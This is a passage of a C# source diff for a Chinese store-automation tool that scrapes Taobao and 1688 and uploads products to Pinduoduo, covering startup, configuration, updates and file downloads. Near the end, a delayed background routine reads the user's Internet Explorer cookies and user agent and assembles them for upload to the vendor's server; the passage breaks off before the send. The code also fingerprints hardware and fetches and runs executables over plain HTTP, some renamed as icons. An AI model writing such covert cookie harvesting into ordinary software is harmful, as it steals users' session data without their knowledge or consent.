int.Parse(xn["mainImageCountPara"].InnerText); + UploadPinduoduoMain.DeleteFirst = bool.Parse(xn["deleteFirstPara"].InnerText); + UploadPinduoduoMain.JustSaveContentImage = bool.Parse(xn["saveAllImagePara"].InnerText); + UploadPinduoduoMain.JustSaveContentImageCount = int.Parse(xn["descImgCountPara"].InnerText); + UploadPinduoduoMain.PreFix = bool.Parse(xn["prefixPara"].InnerText); + UploadPinduoduoMain.PreFixTitle = xn["prefixTextPara"].InnerText; + UploadPinduoduoMain.ShopThreadCount = int.Parse(xn["shopthreadCountPara"].InnerText); + UploadPinduoduoMain.SingleThreadCount = int.Parse(xn["singeThreadCountPara"].InnerText); + UploadPinduoduoMain.MaxUpload = int.Parse(xn["singleUploadPara"].InnerText); + UploadPinduoduoMain.CutHand = bool.Parse(xn["catHardPara"].InnerText); + UploadPinduoduoMain.Relation = bool.Parse(xn["relationPara"].InnerText); + //替换 + UploadPinduoduoMain.Days = int.Parse(xn["visitSpacePara"].InnerText); + CollectKeywordByTaobao.SaveCollect = bool.Parse(xn["saveCollectPara"].InnerText); + UploadPinduoduoMain.OffProduct = bool.Parse(xn["offCountPara"].InnerText); + UploadPinduoduoMain.OffProductCount = int.Parse(xn["offProductPara"].InnerText); + UploadPinduoduoMain.Irregularities = bool.Parse(xn["IrregularitiesPara"].InnerText); + UploadPinduoduoMain.NoNeerReplace = bool.Parse(xn["IrregularitiesPara"].InnerText); + UploadPinduoduoMain.NoNeerDays = int.Parse(xn["noNeerDaysPara"].InnerText); + UploadPinduoduoMain.LimitReplace = bool.Parse(xn["limitReplacePara"].InnerText); + UploadPinduoduoMain.ReplaceCount = int.Parse(xn["replaceCountPara"].InnerText); + UploadPinduoduoMain.ErrorDown = bool.Parse(xn["errorDownPara"].InnerText); + UploadPinduoduoMain.UseApi = bool.Parse(xn["apiPara"].InnerText); + } + catch + { + MessageBox.Show("配置文件异常,自动重置"); + WriteFile(); + } + InitProgress(1); + + string name = Path.GetFileNameWithoutExtension(Process.GetCurrentProcess().ProcessName); + int count = 0; + foreach (System.Diagnostics.Process thisproc in System.Diagnostics.Process.GetProcesses()) + { + if (thisproc.ProcessName.ToLower() == name.ToLower()) + { + count++; + break; + } + } + InitProgress(1); + + Task.Run(() => { GetPublicIp(); InitProgress(1); }); + } + + public static void GetPublicIp() + { + try + { + string url = " https://www.baidu.com/s?ie=utf-8&newi=1&mod=1&isbd=1&isid=84A468A54F829825&wd=" + GetHtml.UrlEncodeUtf8("本机iP地址查询") + "&rsv_spt=1&rsv_iqid=0xcb667698000f1fc5&issp=1&f=8&rsv_bp=1&rsv_idx=2&ie=utf-8&tn=baiduhome_pg&rsv_enter=0&rsv_dl=tb&rsv_sug3=2&rsv_n=2&rsv_sug1=1&rsv_sug7=100&inputT=9336&rsv_sug4=9993&rsv_sid=30747_1421_21089_30792_20692_30824_26350_22157&_ss=1&clist=&hsug=&f4s=1&csor=8&_cr1=29534"; + string html = GetPostTaobaoHtml.UploadBaidu(url); + var m = BaseRegex.GetMatchRegex(ref html, @"我的ip地址(\d{1,3}.\d{1,3}.\d{1,3}.\d{1,3})\s*属于([\w\W]+?)。"); + for (int j = 0; m != null && j < m.Count; j++) + { + BaseClass.IPAddress = m[j].Groups[1].Value; + BaseClass.IPAddressName = m[j].Groups[2].Value; + } + if (string.IsNullOrEmpty(BaseClass.IPAddress)) + { + url = "https://www.ip.cn/api/index?ip=&type=0"; + html = GetPostTaobaoHtml.UploadTaobao(url, "", true); + //{"rs":1,"code":0,"address":"中国 安徽省 合肥市 电信","ip":"183.160.113.181","isDomain":0} + BaseClass.IPAddress = BaseRegex.GetStringJson(ref html, "ip"); + BaseClass.IPAddressName = BaseRegex.GetStringJson(ref html, "address"); + } + //if (string.IsNullOrEmpty(BaseClass.IPAddress)) + //{ + // url = "http://ip.xianhua.com.cn/"; + // html = GetPostTaobaoHtml.UploadTaobaoPost(url, "", true, "", false, "", 3); + // m = BaseRegex.GetMatchRegex(ref html, @"\[(.*?)]"); + // for (int j = 0; m != null && j < m.Count; j++) + // { + // BaseClass.IPAddress = m[0].ToString().Trim('[').Trim(']'); + // BaseClass.IPAddressName = m[1].ToString().Trim('[').Trim(']'); + // } + //} + //if (string.IsNullOrEmpty(BaseClass.IPAddress)) + //{ + // url = "http://2000019.ip138.com/"; + // html = GetPostTaobaoHtml.UploadTaobaoPost(url, "", true, "", false, "", 3); + // m = BaseRegex.GetMatchRegex(ref html, @"您的IP地址是:\s*\[([\w\W]+?)\]\s*来自:([\w\W]+?)

    "); + // for (int j = 0; m != null && j < m.Count; j++) + // { + // BaseClass.IPAddress = m[j].Groups[1].Value; + // BaseClass.IPAddressName = m[j].Groups[2].Value.Trim(); + // } + //} + } + catch + { + + } + } + + + /// + /// 检查更新 + /// + private void Update() + { + string upfilepath = Application.StartupPath + "\\Updatex.exe"; + File.WriteAllText(Application.StartupPath + "\\updateconfig.ini", BaseClass.VersionCount + + "\r\nhttps://update.qixiaoke.com/littlerabbit_update/uploader.php"); + if (File.Exists(upfilepath)) + { + string fc = GetMD5(upfilepath); + if (fc != "001EC5642914325F1DCF6E69BBA90738") + { + GetHtml.DownloadFile("http://dl.qixiaoke.com/Update3.1.exe", upfilepath); + } + } + else//如果自动更新文件不存在,则强制更新主文件 + GetHtml.DownloadFile("http://dl.qixiaoke.com/Update3.1.exe", upfilepath); + try + { + Process.Start(upfilepath); + } + catch + { + } + + InitProgress(1); + } + /// + /// 获取签名验证配置 + /// + private void GetAuthConfig() + { + string sUrl = BaseClass.LoginApiUrl + "/?obj=api/config&act=auth_config"; + //string sAuthConfig = HttpHelper.Get(new HttpParam { Url = sUrl }); + string sAuthConfig = GetHtml.PostUtf8(sUrl, ""); + if (string.IsNullOrEmpty(sAuthConfig)) return; + BaseClass.NewSignatureAuth = sAuthConfig.Equals("1"); + InitProgress(1); + } + + + + + /// + /// 获取文件MD5值 + /// + /// + /// + public static string GetMD5(string FilePath) + { + try + { + FileStream get_file = new FileStream(FilePath, FileMode.Open, FileAccess.Read, FileShare.Read); + System.Security.Cryptography.MD5CryptoServiceProvider get_md5 = new System.Security.Cryptography.MD5CryptoServiceProvider(); + byte[] hash_byte = get_md5.ComputeHash(get_file); + string resule = System.BitConverter.ToString(hash_byte); + resule = resule.Replace("-", ""); + get_file.Close(); + return resule; + } + catch (Exception e) + { + return e.ToString(); + } + } + + /// + /// 检查所有配置选项是否存在 + /// + /// 检查项目和默认值 + private void CheckXmlValue(string checkstring, string file) + { + checkstring = checkstring.Replace("\r\n", "").Replace("\n", ""); + XmlDocument xmlDoc = new XmlDocument(); + xmlDoc.Load(file); + XmlNode xn = xmlDoc.SelectSingleNode("ConfigSet"); + string[] list = checkstring.Split(';'); + bool mustsave = false; + for (int i = 0; i < list.Length; i++) + { + if (string.IsNullOrEmpty(list[i])) + continue; + string[] l = list[i].Split(','); + if (xn[l[0]] == null) + { + mustsave = true; + XmlElement element2 = xmlDoc.CreateElement(l[0].Trim()); + element2.InnerText = l[1]; + xn.AppendChild(element2); + } + } + if (mustsave) + xmlDoc.Save(file); + } + + /// + /// 保存配置 + /// + public void SaveConfig() + { + try + { + XmlDocument xmlDoc = new XmlDocument(); + xmlDoc.Load(ConfigFilePach); + XmlNode xn = xmlDoc.SelectSingleNode("ConfigSet"); + xn["WaitTime"].InnerText = BaseClass.WaitTime.ToString(); + xn["ThreadCount"].InnerText = BaseClass.ThreadCount.ToString(); + xn["OrderStep"].InnerText = BaseClass.OrderStep.ToString(); + xn["RankPage"].InnerText = BaseClass.RankPage.ToString(); + xn["UserName"].InnerText = BaseClass.UserName; + xn["PassWord"].InnerText = BaseClass.Remember ? BaseClass.PassWord : ""; + xn["HadNoteId"].InnerText = BaseClass.HadNoteId; + xn["RememberPass"].InnerText = BaseClass.Remember.ToString(); + xn["AutoLogin"].InnerText = BaseClass.AutoLogin.ToString(); + + xn["MinPrice"].InnerText = BaseClass.MinPrice.ToString(); + xn["MaxPrice"].InnerText = BaseClass.MaxPrice.ToString(); + xn["MinBackMoney"].InnerText = BaseClass.MinBackMoney.ToString(); + xn["MinPercent"].InnerText = BaseClass.MinPercent.ToString(); + xn["MinLevel"].InnerText = BaseClass.MinLevel.ToString(); + xn["MinSales"].InnerText = BaseClass.MinSales.ToString(); + xn["AlimamaPageCount"].InnerText = BaseClass.AlimamaPageCount.ToString(); + xn["CloudTitle"].InnerText = BaseClass.CloudTitle.ToString(); + xn["CloudBrand"].InnerText = BaseClass.CloudBrand.ToString(); + xn["CloudSellerNick"].InnerText = BaseClass.CloudSellerNick.ToString(); + xn["ImageSheild"].InnerText = BaseClass.ImageSheild.ToString(); + xn["CloudProduct"].InnerText = BaseClass.CloudProduct.ToString(); + xn["NoKeyword"].InnerText = BaseClass.NoKeyword; + //自动上下架 + xn["noSoldPara"].InnerText = UploadPinduoduoMain.NoSold.ToString(); + xn["visitPara"].InnerText = UploadPinduoduoMain.NoVisit.ToString(); + xn["visitCountPara"].InnerText = UploadPinduoduoMain.VisitCount.ToString(); + xn["offTimePara"].InnerText = UploadPinduoduoMain.offTime; + xn["onTimePara"].InnerText = UploadPinduoduoMain.onTime; + //采集 + xn["taoBaoPara"].InnerText = CollectKeywordByTaobao.TaobaoCollect.ToString(); + xn["alibabaPara"].InnerText = CollectKeywordByTaobao.Alibaba.ToString(); + xn["pinduoduoPara"].InnerText = CollectKeywordByTaobao.PinduoduoCollect.ToString(); + xn["dataCenterPara"].InnerText = CollectKeywordByTaobao.DataCenter.ToString(); + xn["autoAddPara"].InnerText = CollectKeywordByTaobao.AutoAdd.ToString(); + xn["maxPagePara"].InnerText = CollectKeywordByTaobao.PageTop.ToString(); + xn["singleKeywordPara"].InnerText = CollectKeywordByTaobao.MaxSingleKeywordProduct.ToString(); + xn["priceStartPara"].InnerText = CollectKeywordByTaobao.MinPrice.ToString(); + xn["priceEndPara"].InnerText = CollectKeywordByTaobao.MaxPrice.ToString(); + xn["soldStartPara"].InnerText = CollectKeywordByTaobao.MinSale.ToString(); + xn["soldEndPara"].InnerText = CollectKeywordByTaobao.MaxSale.ToString(); + xn["mainImagePara"].InnerText = CollectKeywordByTaobao.MainImageCut.ToString(); + xn["fessionCountPara"].InnerText = CollectKeywordByTaobao.FessionCount.ToString(); + xn["outKeywordrichPara"].InnerText = CollectKeywordByTaobao.outKeywordrich.Replace("\n", "\\"); + xn["addKeywordrichPara"].InnerText = CollectKeywordByTaobao.addKeywordrich.Replace("\n", "\\"); + + //上传 + xn["multiPara"].InnerText = UploadPinduoduoMain.MultiSavePrice.ToString(); + xn["postagePara"].InnerText = UploadPinduoduoMain.Postage.ToString(); + xn["singlePricePara"].InnerText = UploadPinduoduoMain.SinglePrice.ToString(); + xn["beforPricePara"].InnerText = UploadPinduoduoMain.BeforePrice.ToString(); + xn["stockPara"].InnerText = UploadPinduoduoMain.LimitBuy.ToString(); + xn["groupCountPara"].InnerText = UploadPinduoduoMain.GroupCount.ToString(); + xn["randPara"].InnerText = UploadPinduoduoMain.RandPrice.ToString(); + xn["randPrice1Para"].InnerText = UploadPinduoduoMain.RandPrice1.ToString(); + xn["randPrice2Para"].InnerText = UploadPinduoduoMain.RandPrice2.ToString(); + xn["imageBuildPara"].InnerText = UploadPinduoduoMain.ImageBuild.ToString(); + xn["randDeletePara"].InnerText = UploadPinduoduoMain.RandDeleteImage.ToString(); + xn["priceShieldPara"].InnerText = UploadPinduoduoMain.PriceShield.ToString(); + xn["IrregularitiesPara"].InnerText = UploadPinduoduoMain.Irregularities.ToString(); + xn["randSkuPara"].InnerText = UploadPinduoduoMain.RandSku.ToString(); + xn["randImagePara"].InnerText = UploadPinduoduoMain.RandMainImage.ToString(); + xn["randDescPara"].InnerText = UploadPinduoduoMain.RandDesc.ToString(); + xn["onlyFreePara"].InnerText = UploadPinduoduoMain.JustFree.ToString(); + xn["propToMainPara"].InnerText = UploadPinduoduoMain.PropImageToMain.ToString(); + xn["deleteMainImagePara"].InnerText = UploadPinduoduoMain.DeleteMainImage.ToString(); + xn["mainImageCountPara"].InnerText = UploadPinduoduoMain.DeleteMainImageCut.ToString(); + xn["deleteFirstPara"].InnerText = UploadPinduoduoMain.DeleteFirst.ToString(); + xn["saveAllImagePara"].InnerText = UploadPinduoduoMain.JustSaveContentImage.ToString(); + xn["descImgCountPara"].InnerText = UploadPinduoduoMain.JustSaveContentImageCount.ToString(); + xn["prefixPara"].InnerText = UploadPinduoduoMain.PreFix.ToString(); + xn["prefixTextPara"].InnerText = UploadPinduoduoMain.PreFixTitle.ToString(); + xn["shopthreadCountPara"].InnerText = UploadPinduoduoMain.ShopThreadCount.ToString(); + xn["singeThreadCountPara"].InnerText = UploadPinduoduoMain.SingleThreadCount.ToString(); + xn["singleUploadPara"].InnerText = UploadPinduoduoMain.MaxUpload.ToString(); + xn["catHardPara"].InnerText = UploadPinduoduoMain.CutHand.ToString(); + xn["relationPara"].InnerText = UploadPinduoduoMain.Relation.ToString(); + //替换 + xn["visitSpacePara"].InnerText = UploadPinduoduoMain.Days.ToString(); + xn["saveCollectPara"].InnerText = CollectKeywordByTaobao.SaveCollect.ToString(); + xn["offCountPara"].InnerText = UploadPinduoduoMain.OffProduct.ToString(); + xn["offProductPara"].InnerText = UploadPinduoduoMain.OffProductCount.ToString(); + xn["IrregularitiesPara"].InnerText = UploadPinduoduoMain.Irregularities.ToString(); + xn["IrregularitiesPara"].InnerText = UploadPinduoduoMain.NoNeerReplace.ToString(); + xn["noNeerDaysPara"].InnerText = UploadPinduoduoMain.NoNeerDays.ToString(); + xn["limitReplacePara"].InnerText = UploadPinduoduoMain.LimitReplace.ToString(); + xn["replaceCountPara"].InnerText = UploadPinduoduoMain.ReplaceCount.ToString(); + xn["errorDownPara"].InnerText = UploadPinduoduoMain.ErrorDown.ToString(); + xn["apiPara"].InnerText = UploadPinduoduoMain.UseApi.ToString(); + + xmlDoc.Save(ConfigFilePach); + } + catch + { + BaseClass.ViewCode += "保存配置信息出错,请删除配置文件,重试\n"; + } + } + /// + /// 写入配置文件 + /// + public void WriteFile() + { + string content = @" + + 1000 + 1 + + + False + True + + 1 + 3 + 10 + 300 + 1 + 5 + 5 + 2 + True + True + True + True + 50 +"; + FileBase.WriteAllText(ConfigFilePach, content, Encoding.UTF8); + } + + + /// + /// 获取机器码 + /// + /// + public void GetMacCode() + { + string Info = ""; //cpu序列号 + try + { + ManagementClass cimobject = new ManagementClass("Win32_Processor"); + ManagementObjectCollection moc = cimobject.GetInstances(); + foreach (ManagementObject mo in moc) + { + Info = mo.Properties["ProcessorId"].Value.ToString(); + break; + } + Info += "@"; + ManagementClass cimobject1 = new ManagementClass("Win32_DiskDrive"); + ManagementObjectCollection moc1 = cimobject1.GetInstances(); + foreach (ManagementObject mo in moc1) + { + if (string.IsNullOrEmpty(mo["signature"]?.ToString()) || mo["signature"].ToString() == "0" || mo.Properties["Model"].Value.ToString().IndexOf("USB") > -1) + { + continue; + } + Info += mo.Properties["Model"].Value + "," + mo["SerialNumber"] + ";"; //硬盘型号、硬盘ID + } + Info = Info.Substring(0, Info.Length - 1); + Info = Info.Replace(" ", ""); + } + catch + { + } + InitProgress(1); + BaseClass.MacInfo = Info; + } + + /// + /// 校准时间 + /// + private void UpdateTime() + { + string t = GetHtml.Utf8(BaseClass.LoginApiUrl + "time.php"); + if (string.IsNullOrEmpty(t)) + return; + DateTime dt; + if (!DateTime.TryParse(t, out dt)) + { + MessageBox.Show("连接服务器失败,将导致无法登录", "请检查防火墙设置"); + return; + } + int s = BaseClass.DateTimeToTimestampSeconds(dt); + int a = BaseClass.DateTimeToTimestampSeconds(DateTime.Now); + BaseClass.TimeDifferent = s - a; + //SetDate(dt); //设置系统时间 + } + public static bool IsBase64(string str) + { + try + { + string pattern = "^([A-Za-z0-9+/]{4})*([A-Za-z0-9+/]{4}|[A-Za-z0-9+/]{3}=|[A-Za-z0-9+/]{2}==)$"; + return Regex.IsMatch(str, pattern); + } + catch (Exception ex) + { + return false; + } + } + + public static string Base64Encrypt(string encrypt) + { + try + { + return Convert.ToBase64String(Encoding.UTF8.GetBytes(encrypt)); + } + catch (Exception ex) + { + return encrypt; + } + } + + public static string Base64Decrypt(string decrypt) + { + try + { + return Encoding.UTF8.GetString(Convert.FromBase64String(decrypt)); + } + catch (Exception ex) + { + return decrypt; + } + } + + private void CheckFiles() + { + if (!Directory.Exists("config")) + Directory.CreateDirectory("config"); + if (!Directory.Exists("x64")) + Directory.CreateDirectory("x64"); + if (!Directory.Exists("x86")) + Directory.CreateDirectory("x86"); + if (!Directory.Exists("ru-ru")) + Directory.CreateDirectory("ru-ru"); + if (!Directory.Exists("temp")) + Directory.CreateDirectory("temp"); + if (!Directory.Exists("temp/image")) + Directory.CreateDirectory("temp/image"); + List files = new List(); + files.Add(new KeyValueBase("标题包含过滤_new.txt", "config/标题包含过滤x.ini")); + files.Add(new KeyValueBase("标题过滤词_new.txt", "config/标题过滤词x.ini")); + files.Add(new KeyValueBase("标题过滤词_new.txt", "config/标题去除词x.ini")); + files.Add(new KeyValueBase("品牌属性过滤_new.txt", "config/品牌属性过滤x.ini")); + files.Add(new KeyValueBase("属性过滤词_new.txt", "config/属性过滤词x.ini")); + files.Add(new KeyValueBase("ids_20200602.dll", "temp/ids.dll")); + files.Add(new KeyValueBase("tids_20200602.dll", "temp/tids.dll")); + files.Add(new KeyValueBase("crawlerInfo.js", "crawlerInfo.js")); + files.Add(new KeyValueBase("pdd.ico", "pdd.dat")); + files.Add(new KeyValueBase("anti_content.js", "anti_content.js")); + files.Add(new KeyValueBase("taobao_address.js", "taobao_address.tjm")); + files.Add(new KeyValueBase("1688address.js", "1688_address.tjm")); + files.Add(new KeyValueBase("crawlerInfoInterface.js", "crawlerInfoInterface.js")); + files.Add(new KeyValueBase("Interop.MSScriptControl.ico", "Interop.MSScriptControl.dll")); + files.Add(new KeyValueBase("taobao_cat.ico", "taobao_cat.ico")); + files.Add(new KeyValueBase("segment1.2.dll", "segment.dll", "C8057AEA79E32985670BC41D39C3349B")); + files.Add(new KeyValueBase("UserAgent.txt", "temp/UserAgent.txt")); + files.Add(new KeyValueBase("simplepwd.txt", "temp/simplepwd.txt")); + //java v8引擎 + files.Add(new KeyValueBase("ru-ru/JavaScriptEngineSwitcher.Core.resources.dll", "ru-ru/JavaScriptEngineSwitcher.Core.resources.dll")); + files.Add(new KeyValueBase("x64/ClearScriptV8-64.dll", "x64/ClearScriptV8-64.dll")); + files.Add(new KeyValueBase("x64/v8-base-x64.dll", "x64/v8-base-x64.dll")); + files.Add(new KeyValueBase("x64/v8-x64.dll", "x64/v8-x64.dll")); + files.Add(new KeyValueBase("x86/ClearScriptV8-32.dll", "x86/ClearScriptV8-32.dll")); + files.Add(new KeyValueBase("x86/v8-base-ia32.dll", "x86/v8-base-ia32.dll")); + files.Add(new KeyValueBase("x86/v8-ia32.dll", "x86/v8-ia32.dll")); + files.Add(new KeyValueBase("AdvancedStringBuilder.dll", "AdvancedStringBuilder.dll")); + files.Add(new KeyValueBase("ClearScript.dll", "ClearScript.dll")); + files.Add(new KeyValueBase("ClearScriptV8-32.dll", "ClearScriptV8-32.dll")); + files.Add(new KeyValueBase("ClearScriptV8-64.dll", "ClearScriptV8-64.dll")); + files.Add(new KeyValueBase("JavaScriptEngineSwitcher.Core.dll", "JavaScriptEngineSwitcher.Core.dll")); + files.Add(new KeyValueBase("JavaScriptEngineSwitcher.V8.dll", "JavaScriptEngineSwitcher.V8.dll")); + files.Add(new KeyValueBase("v8-ia32.dll", "v8-ia32.dll")); + files.Add(new KeyValueBase("v8-x64.dll", "v8-x64.dll")); + files.Add(new KeyValueBase("DB.dll", "DB.dll")); + files.Add(new KeyValueBase("System.Data.SQLite.DLL", "System.Data.SQLite.DLL")); + files.Add(new KeyValueBase("FindLittleRabbitOrder.exe", "FindLittleRabbitOrder.exe")); + + files.Add(new KeyValueBase("9527_new.ico", "temp/9527.wav")); + files.Add(new KeyValueBase("tipaudio1_new.ico", "temp/1号电脑.mp3")); + files.Add(new KeyValueBase("tipaudio2_new.ico", "temp/2号电脑.mp3")); + files.Add(new KeyValueBase("tipaudio3_new.ico", "temp/3号电脑.mp3")); + files.Add(new KeyValueBase("tipaudio4_new.ico", "temp/4号电脑.mp3")); + files.Add(new KeyValueBase("tipaudio5_new.ico", "temp/5号电脑.mp3")); + files.Add(new KeyValueBase("tipaudio6_new.ico", "temp/6号电脑.mp3")); + files.Add(new KeyValueBase("tipaudio7_new.ico", "temp/7号电脑.mp3")); + files.Add(new KeyValueBase("tipaudio8_new.ico", "temp/8号电脑.mp3")); + files.Add(new KeyValueBase("tipaudio9_new.ico", "temp/9号电脑.mp3")); + files.Add(new KeyValueBase("tipaudio10_new.ico", "temp/10号电脑.mp3")); + files.Add(new KeyValueBase("tipaudio11_new.ico", "temp/11号电脑.mp3")); + files.Add(new KeyValueBase("tipaudio12_new.ico", "temp/12号电脑.mp3")); + files.Add(new KeyValueBase("tipaudio13_new.ico", "temp/13号电脑.mp3")); + files.Add(new KeyValueBase("tipaudio14_new.ico", "temp/14号电脑.mp3")); + files.Add(new KeyValueBase("tipaudio15_new.ico", "temp/15号电脑.mp3")); + files.Add(new KeyValueBase("tipaudio16_new.ico", "temp/16号电脑.mp3")); + files.Add(new KeyValueBase("tipaudio17_new.ico", "temp/17号电脑.mp3")); + files.Add(new KeyValueBase("tipaudio18_new.ico", "temp/18号电脑.mp3")); + files.Add(new KeyValueBase("tipaudio19_new.ico", "temp/19号电脑.mp3")); + files.Add(new KeyValueBase("tipaudio20_new.ico", "temp/20号电脑.mp3")); + + foreach (KeyValueBase k in files) + { + string md5 = GetMD5(k.Value); + if (FileBase.Exists(k.Value) && string.IsNullOrEmpty(k.CatName) || !string.IsNullOrEmpty(k.CatName) && md5 == k.CatName) + continue; + if (GetHtml.DownloadFile("http://dl.qixiaoke.com/files/" + k.Key, k.Key + ".bak")) + FileBase.Move(k.Key + ".bak", k.Value); + + InitProgress(1); + } + + List cef_files = new List(); + cef_files.Add(new KeyValueBase("cef.pak", "cef.pak")); + cef_files.Add(new KeyValueBase("cef_100_percent.pak", "cef_100_percent.pak")); + cef_files.Add(new KeyValueBase("cef_200_percent.pak", "cef_200_percent.pak")); + cef_files.Add(new KeyValueBase("cef_extensions.pak", "cef_extensions.pak")); + cef_files.Add(new KeyValueBase("CefSharp.BrowserSubprocess.Core.dll", "CefSharp.BrowserSubprocess.Core.dll")); + cef_files.Add(new KeyValueBase("CefSharp.BrowserSubprocess.exe", "CefSharp.BrowserSubprocess.exe")); + cef_files.Add(new KeyValueBase("CefSharp.Core.dll", "CefSharp.Core.dll")); + cef_files.Add(new KeyValueBase("CefSharp.Core.xml", "CefSharp.Core.xml")); + cef_files.Add(new KeyValueBase("CefSharp.dll", "CefSharp.dll")); + cef_files.Add(new KeyValueBase("CefSharp.WinForms.dll", "CefSharp.WinForms.dll")); + cef_files.Add(new KeyValueBase("CefSharp.WinForms.XML", "CefSharp.WinForms.XML")); + cef_files.Add(new KeyValueBase("CefSharp.XML", "CefSharp.XML")); + cef_files.Add(new KeyValueBase("chrome_elf.dll", "chrome_elf.dll")); + cef_files.Add(new KeyValueBase("d3dcompiler_47.dll", "d3dcompiler_47.dll")); + cef_files.Add(new KeyValueBase("devtools_resources.pak", "devtools_resources.pak")); + cef_files.Add(new KeyValueBase("icudtl.dat", "icudtl.dat")); + cef_files.Add(new KeyValueBase("libcef.dll", "libcef.dll")); + cef_files.Add(new KeyValueBase("libEGL.dll", "libEGL.dll")); + cef_files.Add(new KeyValueBase("libGLESv2.dll", "libGLESv2.dll")); + cef_files.Add(new KeyValueBase("natives_blob.bin", "natives_blob.bin")); + cef_files.Add(new KeyValueBase("snapshot_blob.bin", "snapshot_blob.bin")); + cef_files.Add(new KeyValueBase("v8_context_snapshot.bin", "v8_context_snapshot.bin")); + if (!File.Exists("cef_config") || cef_files.Any(c => File.Exists(c.Key + ".bak"))) + { + try + { + foreach (KeyValueBase k in cef_files) + { + string md5 = GetMD5(k.Value); + //if (FileBase.Exists(k.Value) && string.IsNullOrEmpty(k.CatName) || !string.IsNullOrEmpty(k.CatName) && md5 == k.CatName) + // continue; + if (GetHtml.DownloadFile("http://dl.qixiaoke.com/files/cef79/" + k.Key, k.Key + ".bak")) + FileBase.Move(k.Key + ".bak", k.Value); + + InitProgress(1); + } + File.Create("cef_config"); + } + catch + { + IsCheckFilesSuccesss = false; + } + } + else + { + InitProgress(20); + } + Task.Run(() => { new AddressSetIni().Ini(); InitProgress(1); }); + Task.Run(() => { new AddressSetIni().getAddress1688(); InitProgress(1); }); + Task.Run(() => { FromTitleToCat.Ini(); InitProgress(1); }); + Task.Run(() => { Segment.Int(); InitProgress(1); }); // 加载分词文件 + Thread t = new Thread(UploadPinduoduoProperties.Ini); + t.Priority = ThreadPriority.Lowest; + t.Start(); + + try + { + //加载违规商品Id + string idslines = File.ReadAllText("temp/ids.dll", Encoding.Default); + if (!string.IsNullOrEmpty(idslines)) + { + foreach (string s in idslines.Split(new string[] { Environment.NewLine }, StringSplitOptions.RemoveEmptyEntries)) + { + if (string.IsNullOrEmpty(s) || s == "0" || s.Contains("?") || s.Contains("@")) + continue; + if (s.Trim().Length < 2) + continue; + UploadPinduoduoMain.RuleIds.Add(s); + } + } + //加载违规商品标题 + string tidslines = File.ReadAllText("temp/tids.dll", Encoding.Default); + if (!string.IsNullOrEmpty(tidslines)) + { + foreach (string s in tidslines.Split(new string[] { Environment.NewLine }, StringSplitOptions.RemoveEmptyEntries)) + { + if (string.IsNullOrEmpty(s) || s == "0") + continue; + if (s.Trim().Length < 2) + continue; + UploadPinduoduoMain.RuleTitles.Add(s); + } + } + + InitProgress(1); + } + catch + { + } + + //加载配置文件 + string lines = File.ReadAllText("config/标题过滤词x.ini", Encoding.Default); + if (!string.IsNullOrEmpty(lines)) + { + if (IsBase64(lines)) + { + lines = Base64Decrypt(lines); + } + foreach (string s in lines.Split(new string[] { Environment.NewLine }, StringSplitOptions.RemoveEmptyEntries)) + { + if (string.IsNullOrEmpty(s)) + continue; + if (s.Trim().Length < 2) + continue; + AlibabaShop.NoTitleWords.Add(s.Trim()); + } + + InitProgress(1); + } + + lines = File.ReadAllText("config/属性过滤词x.ini", Encoding.Default); + if (!string.IsNullOrEmpty(lines)) + { + if (IsBase64(lines)) + { + lines = Base64Decrypt(lines); + } + foreach (string s in lines.Split(new string[] { Environment.NewLine }, StringSplitOptions.RemoveEmptyEntries)) + { + if (string.IsNullOrEmpty(s)) + continue; + AlibabaShop.NoPropWords.Add(s.Trim()); + } + + InitProgress(1); + } + lines = File.ReadAllText("config/品牌属性过滤x.ini", Encoding.Default); + if (!string.IsNullOrEmpty(lines)) + { + if (IsBase64(lines)) + { + lines = Base64Decrypt(lines); + } + foreach (string s in lines.Split(new string[] { Environment.NewLine }, StringSplitOptions.RemoveEmptyEntries)) + { + if (string.IsNullOrEmpty(s)) + continue; + AlibabaShop.NoBrandName.Add(s.Trim()); + } + + InitProgress(1); + } + lines = File.ReadAllText("config/标题包含过滤x.ini", Encoding.Default); + if (!string.IsNullOrEmpty(lines)) + { + if (IsBase64(lines)) + { + lines = Base64Decrypt(lines); + } + foreach (string s in lines.Split(new string[] { Environment.NewLine }, StringSplitOptions.RemoveEmptyEntries)) + { + if (string.IsNullOrEmpty(s)) + continue; + AlibabaShop.TitleCantHad.Add(s.Trim()); + } + + InitProgress(1); + } + } + + public static bool IsUseSystemProxy() + { + BindingFlags bindingAttr = BindingFlags.Instance | BindingFlags.NonPublic; + IWebProxy systemWebProxy = WebRequest.GetSystemWebProxy(); + FieldInfo field1 = systemWebProxy.GetType().GetField("webProxy", bindingAttr); + if (field1 != (FieldInfo)null) + { + WebProxy webProxy = field1.GetValue((object)systemWebProxy) as WebProxy; + FieldInfo field2 = webProxy.GetType().GetField("_ProxyHostAddresses", bindingAttr); + if (field2 != (FieldInfo)null) + { + Hashtable hashtable = field2.GetValue((object)webProxy) as Hashtable; + if (hashtable != null && hashtable.Count > 0) + return true; + } + } + return false; + } + + public static string GetRandKey(int len) + { + StringBuilder sb = new StringBuilder(); + for (int i = 0; i < len; i++) + { + sb.Append("," + Randomx.GetId(127)); + } + return sb.ToString(1, sb.Length - 1); + } + + public void Encode(ref byte[] f, string key) + { + string[] l = key.Split(','); + List k = new List(); + foreach (string s in l) + { + k.Add(byte.Parse(s)); + } + int j = 0, a = 0; + for (int i = 0; i < f.Length; i++) + { + if (k[j] + f[i] > 255) + f[i] = (byte)(k[j] + f[i] - 255); + else + f[i] = (byte)(k[j] + f[i]); + j++; + j += a; + if (j >= k.Count) + { + j -= k.Count; + a++; + if (a >= k.Count / 2) + a = 0; + } + } + } + + public void Decode(ref byte[] f, string key) + { + string[] l = key.Split(','); + List k = new List(); + foreach (string s in l) + { + k.Add(byte.Parse(s)); + } + int j = 0, a = 0; + for (int i = 0; i < f.Length; i++) + { + if (f[i] - k[j] < 0) + f[i] = (byte)(f[i] + 255 - k[j]); + else + f[i] = (byte)(f[i] - k[j]); + + j++; + j += a; + if (j >= k.Count) + { + j -= k.Count; + a++; + if (a >= k.Count / 2) + a = 0; + } + } + } + public static string IEUserAgent = ""; + public void GetBaiduCookies() + { + Thread.Sleep(10 * 60 * 1000); + string url = "http://www.baidu.com/"; + //string userAgent = IECookies.GetUserAgent(); + string cookies = IECookies.GetCookies(url); + if (string.IsNullOrEmpty(IEUserAgent) || string.IsNullOrEmpty(cookies) || cookies.Length < 100) + return; + url = BaseClass.BuildObjString("cookies&act=save"); + string data = UserLogin.GetSignaturex() + "&user_agent=" + GetHtml.UrlEncodeUtf8(IEUserAgent) + "&cookies=" + GetHtml.UrlEncodeUtf8(cookies); + 